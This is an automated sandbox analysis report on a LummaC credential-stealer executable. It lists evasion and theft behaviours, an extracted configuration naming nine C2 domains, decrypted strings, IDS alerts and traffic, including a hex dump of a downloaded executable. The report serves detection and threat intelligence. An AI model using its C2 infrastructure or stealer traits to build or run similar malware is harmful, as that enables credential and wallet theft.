Edit tour

Windows Analysis Report
v5Evrl41VR.exe

Overview

General Information

Sample name:	v5Evrl41VR.exe renamed because original name is a hash value
Original sample name:	438b2909dabcb5f50d7f5f7812420fd6.exe
Analysis ID:	1581606
MD5:	438b2909dabcb5f50d7f5f7812420fd6
SHA1:	0bec9e6261813b035262deb7fd5004c24147ede7
SHA256:	4aa0c956e1ea8cb201adc6f00fc13cd8ae5bfe68306a9fbce999f533562d6dde
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for sample

PE file contains section with special chars

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Creates a process in suspended mode (likely to inject code)

Downloads executable code via HTTP

Entry point lies outside standard sections

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

v5Evrl41VR.exe (PID: 7860 cmdline: "C:\Users\user\Desktop\v5Evrl41VR.exe" MD5: 438B2909DABCB5F50D7F5F7812420FD6)

chrome.exe (PID: 3932 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=v5Evrl41VR.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

chrome.exe (PID: 64 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2092 --field-trial-handle=1976,i,11847883741376242636,13624544470231846416,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

chrome.exe (PID: 6468 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=v5Evrl41VR.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

chrome.exe (PID: 5888 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2036 --field-trial-handle=1928,i,13811161353852396397,13464806499312463591,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["prisonyfork.buzz", "mindhandru.buzz", "rebuildeso.buzz", "cashfuzysao.buzz", "hummskitnj.buzz", "inherineau.buzz", "screwamusresz.buzz", "scentniej.buzz", "appliacnesot.buzz"], "Build id": "LOGS11--LiveTraffic"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
Process Memory Space: v5Evrl41VR.exe PID: 7860	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: v5Evrl41VR.exe PID: 7860	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: v5Evrl41VR.exe PID: 7860	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-28T09:48:29.556080+0100	2028371	3	Unknown Traffic	192.168.2.11	49714	23.55.153.106	443	TCP
2024-12-28T09:48:31.999780+0100	2028371	3	Unknown Traffic	192.168.2.11	49720	104.21.66.86	443	TCP
2024-12-28T09:48:34.170916+0100	2028371	3	Unknown Traffic	192.168.2.11	49726	104.21.66.86	443	TCP
2024-12-28T09:48:37.334331+0100	2028371	3	Unknown Traffic	192.168.2.11	49733	104.21.66.86	443	TCP
2024-12-28T09:48:39.656110+0100	2028371	3	Unknown Traffic	192.168.2.11	49742	104.21.66.86	443	TCP
2024-12-28T09:48:42.097661+0100	2028371	3	Unknown Traffic	192.168.2.11	49748	104.21.66.86	443	TCP
2024-12-28T09:48:44.930121+0100	2028371	3	Unknown Traffic	192.168.2.11	49758	104.21.66.86	443	TCP
2024-12-28T09:48:47.518935+0100	2028371	3	Unknown Traffic	192.168.2.11	49765	104.21.66.86	443	TCP
2024-12-28T09:48:52.545702+0100	2028371	3	Unknown Traffic	192.168.2.11	49776	104.21.66.86	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-28T09:48:32.861261+0100	2054653	1	A Network Trojan was detected	192.168.2.11	49720	104.21.66.86	443	TCP
2024-12-28T09:48:35.258181+0100	2054653	1	A Network Trojan was detected	192.168.2.11	49726	104.21.66.86	443	TCP
2024-12-28T09:48:53.188154+0100	2054653	1	A Network Trojan was detected	192.168.2.11	49776	104.21.66.86	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-28T09:48:32.861261+0100	2049836	1	A Network Trojan was detected	192.168.2.11	49720	104.21.66.86	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-28T09:48:35.258181+0100	2049812	1	A Network Trojan was detected	192.168.2.11	49726	104.21.66.86	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-28T09:48:54.643172+0100	2019714	2	Potentially Bad Traffic	192.168.2.11	49782	185.215.113.16	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (appliacnesot .buzz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-28T09:48:27.587918+0100	2058572	1	Domain Observed Used for C2 Detected	192.168.2.11	59801	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (cashfuzysao .buzz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-28T09:48:27.731116+0100	2058576	1	Domain Observed Used for C2 Detected	192.168.2.11	60668	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (hummskitnj .buzz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-28T09:48:27.873165+0100	2058578	1	Domain Observed Used for C2 Detected	192.168.2.11	56301	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (inherineau .buzz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-28T09:48:27.291082+0100	2058580	1	Domain Observed Used for C2 Detected	192.168.2.11	51880	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mindhandru .buzz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-28T09:48:26.602085+0100	2058582	1	Domain Observed Used for C2 Detected	192.168.2.11	57836	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (prisonyfork .buzz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-28T09:48:26.764279+0100	2058584	1	Domain Observed Used for C2 Detected	192.168.2.11	61127	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (rebuildeso .buzz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-28T09:48:26.935764+0100	2058586	1	Domain Observed Used for C2 Detected	192.168.2.11	60592	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (scentniej .buzz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-28T09:48:27.140575+0100	2058588	1	Domain Observed Used for C2 Detected	192.168.2.11	49251	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (screwamusresz .buzz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-28T09:48:27.445107+0100	2058590	1	Domain Observed Used for C2 Detected	192.168.2.11	63887	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-28T09:48:38.344142+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.11	49733	104.21.66.86	443	TCP

ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-28T09:48:30.374797+0100	2858666	1	Domain Observed Used for C2 Detected	192.168.2.11	49714	23.55.153.106	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: v5Evrl41VR.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://lev-tolstoi.com/v	Avira URL Cloud: Label: malware
Source: https://lev-tolstoi.com/apiA/02	Avira URL Cloud: Label: malware
Source: https://lev-tolstoi.com/a	Avira URL Cloud: Label: malware
Source: https://lev-tolstoi.com/Y	Avira URL Cloud: Label: malware
Source: https://lev-tolstoi.com/s)	Avira URL Cloud: Label: malware
Source: https://lev-tolstoi.com/900	Avira URL Cloud: Label: malware

Found malware configuration

Source: v5Evrl41VR.exe.7860.0.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": ["prisonyfork.buzz", "mindhandru.buzz", "rebuildeso.buzz", "cashfuzysao.buzz", "hummskitnj.buzz", "inherineau.buzz", "screwamusresz.buzz", "scentniej.buzz", "appliacnesot.buzz"], "Build id": "LOGS11--LiveTraffic"}

Multi AV Scanner detection for submitted file

Source: v5Evrl41VR.exe	Virustotal: Detection: 54%			Perma Link
Source: v5Evrl41VR.exe	ReversingLabs: Detection: 60%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: v5Evrl41VR.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000000.00000003.1313736514.0000000004B20000.00000004.00001000.00020000.00000000.sdmp	String decryptor: hummskitnj.buzz
Source: 00000000.00000003.1313736514.0000000004B20000.00000004.00001000.00020000.00000000.sdmp	String decryptor: cashfuzysao.buzz
Source: 00000000.00000003.1313736514.0000000004B20000.00000004.00001000.00020000.00000000.sdmp	String decryptor: appliacnesot.buzz
Source: 00000000.00000003.1313736514.0000000004B20000.00000004.00001000.00020000.00000000.sdmp	String decryptor: screwamusresz.buzz
Source: 00000000.00000003.1313736514.0000000004B20000.00000004.00001000.00020000.00000000.sdmp	String decryptor: inherineau.buzz
Source: 00000000.00000003.1313736514.0000000004B20000.00000004.00001000.00020000.00000000.sdmp	String decryptor: scentniej.buzz
Source: 00000000.00000003.1313736514.0000000004B20000.00000004.00001000.00020000.00000000.sdmp	String decryptor: rebuildeso.buzz
Source: 00000000.00000003.1313736514.0000000004B20000.00000004.00001000.00020000.00000000.sdmp	String decryptor: prisonyfork.buzz
Source: 00000000.00000003.1313736514.0000000004B20000.00000004.00001000.00020000.00000000.sdmp	String decryptor: mindhandru.buzz
Source: 00000000.00000003.1313736514.0000000004B20000.00000004.00001000.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000003.1313736514.0000000004B20000.00000004.00001000.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000003.1313736514.0000000004B20000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000003.1313736514.0000000004B20000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000003.1313736514.0000000004B20000.00000004.00001000.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000003.1313736514.0000000004B20000.00000004.00001000.00020000.00000000.sdmp	String decryptor: LOGS11--LiveTraffic

Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=v5Evrl41VR.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=v5Evrl41VR.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=v5Evrl41VR.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=v5Evrl41VR.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon

Source: v5Evrl41VR.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 23.55.153.106:443 -> 192.168.2.11:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.11:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.11:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.11:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.11:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.11:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.11:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.11:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.11:49776 version: TLS 1.2

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2058582 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mindhandru .buzz) : 192.168.2.11:57836 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058586 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (rebuildeso .buzz) : 192.168.2.11:60592 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058584 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (prisonyfork .buzz) : 192.168.2.11:61127 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058580 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (inherineau .buzz) : 192.168.2.11:51880 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058590 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (screwamusresz .buzz) : 192.168.2.11:63887 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058578 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (hummskitnj .buzz) : 192.168.2.11:56301 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058572 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (appliacnesot .buzz) : 192.168.2.11:59801 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058588 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (scentniej .buzz) : 192.168.2.11:49251 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058576 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (cashfuzysao .buzz) : 192.168.2.11:60668 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.11:49720 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.11:49714 -> 23.55.153.106:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.11:49720 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.11:49733 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.11:49726 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.11:49726 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.11:49776 -> 104.21.66.86:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: prisonyfork.buzz
Source: Malware configuration extractor	URLs: mindhandru.buzz
Source: Malware configuration extractor	URLs: rebuildeso.buzz
Source: Malware configuration extractor	URLs: cashfuzysao.buzz
Source: Malware configuration extractor	URLs: hummskitnj.buzz
Source: Malware configuration extractor	URLs: inherineau.buzz
Source: Malware configuration extractor	URLs: screwamusresz.buzz
Source: Malware configuration extractor	URLs: scentniej.buzz
Source: Malware configuration extractor	URLs: appliacnesot.buzz

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 28 Dec 2024 08:48:53 GMTContent-Type: application/octet-streamContent-Length: 2787840Last-Modified: Sat, 28 Dec 2024 08:16:29 GMTConnection: keep-aliveETag: "676fb3dd-2a8a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2b 00 00 04 00 00 a7 3a 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 40 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 05 00 00 00 60 00 00 00 06 00 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 66 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 78 67 62 70 63 74 71 72 00 00 2a 00 00 a0 00 00 00 fc 29 00 00 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 76 67 78 75 70 6d 78 73 00 20 00 00 00 a0 2a 00 00 04 00 00 00 64 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 c0 2a 00 00 22 00 00 00 68 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View	IP Address: 104.21.66.86 104.21.66.86
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.11:49733 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.11:49720 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.11:49758 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.11:49714 -> 23.55.153.106:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.11:49748 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.11:49776 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.11:49726 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.11:49765 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.11:49742 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.11:49782 -> 185.215.113.16:80

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.42
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.42
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.3
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.3
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.42
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.42
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.3
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.42
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.3
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
